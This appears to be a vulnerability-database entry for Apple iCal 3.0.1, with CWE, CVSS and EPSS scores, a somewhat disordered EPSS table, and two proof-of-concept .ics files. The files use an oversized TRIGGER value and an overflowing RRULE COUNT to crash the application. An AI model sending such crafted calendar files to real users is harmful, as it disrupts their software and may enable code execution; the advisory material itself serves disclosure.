CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Apple iCal 3.0.1 on Mac OS X allows remote CalDAV servers, and user-assisted remote attackers, to cause a denial of service (NULL pointer dereference and application crash) or possibly execute arbitrary code via a .ics file containing (1) a large 16-bit integer on a TRIGGER line, or (2) a large integer in a COUNT field on an RRULE line.
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
4.3
AV:N/AC:M/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
26.78%
–
–
2022-04-03
–
–
26.78%
–
–
2023-03-12
–
–
–
5.86%
–
2023-09-17
–
–
–
5.86%
–
2024-06-02
–
–
–
8.06%
–
2024-11-10
–
–
–
8.06%
–
2024-12-22
–
–
–
13.53%
–
2025-02-16
–
–
–
23%
–
2025-01-19
–
–
–
13.53%
–
2025-02-16
–
–
–
23%
–
2025-03-18
–
–
–
–
24.88%
2025-03-30
–
–
–
–
23.03%
2025-04-06
–
–
–
–
25.02%
2025-04-06
–
–
–
–
25.02,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/28632/info
Apple iCal is prone to a denial-of-service vulnerability because it fails to handle specially crafted files.
An attacker can exploit this issue to crash the affected application, denying service to legitimate users.
This issue affects iCal 3.0.1 running on Mac OS X 10.5.1; previous versions may also be affected.
BEGIN:VCALENDAR
X-WR-CALNAME:Fake event
PRODID:-//Apple Inc.//iCal 3.0//EN
CALSCALE:GREGORIAN
VERSION:2.0
METHOD:PUBLISH
BEGIN:VTIMEZONE
TZID:America/Buenos_Aires
BEGIN:DAYLIGHT
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:19991003T000000
RDATE:19991003T000000
TZNAME:ARST
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:20000303T000000
RDATE:20000303T000000
RDATE:20001231T210000
TZNAME:ART
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
SEQUENCE:10
DTSTART;TZID=America/Buenos_Aires:20071225T000000
DTSTAMP:20071213T124414Z
SUMMARY:Fake Event
DTEND;TZID=America/Buenos_Aires:20071225T010000
RRULE:FREQ=YEARLY;INTERVAL=1;COUNT=1
UID:651D31BE-455E-45ED-99C6-55B9F03A3FA9
TRANSP:OPAQUE
CREATED:20071213T124215Z
BEGIN:VALARM
X-WR-ALARMUID:958B6A5B-91E6-4F80-829F-89AD5B17AF49
ACTION:DISPLAY
DESCRIPTION:Event reminder
TRIGGER:-PT65535H
END:VALARM
END:VEVENT
END:VCALENDAR
source: https://www.securityfocus.com/bid/28629/info
Apple iCal is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun.
An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
This issue affects iCal 3.0.1 running on Mac OS X 10.5.1; previous versions may also be affected.
BEGIN:VCALENDAR
X-WR-TIMEZONE:America/Buenos_Aires
PRODID:-//Apple Inc.//iCal 3.0//EN
CALSCALE:GREGORIAN
X-WR-CALNAME: Vulnerable
VERSION:2.0
X-WR-RELCALID:10DE4203-4FA5-4E23-AE4D-9DAE3157C9E5
METHOD:PUBLISH
BEGIN:VTIMEZONE
TZID:America/Buenos_Aires
BEGIN:DAYLIGHT
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:19991003T000000
RDATE:19991003T000000
TZNAME:ARST
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:20000303T000000
RDATE:20000303T000000
RDATE:20001231T210000
TZNAME:ART
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
SEQUENCE:4
DTSTART;TZID=America/Buenos_Aires:20071225T110000
DURATION:PT1H
UID:48878014-5F03-43E5-8639-61E708714F9A
DTSTAMP:20071213T130632Z
SUMMARY:Vuln
CREATED:20071213T130611Z
RRULE:FREQ=DAILY;INTERVAL=1;COUNT=2147483646
END:VEVENT
END:VCALENDAR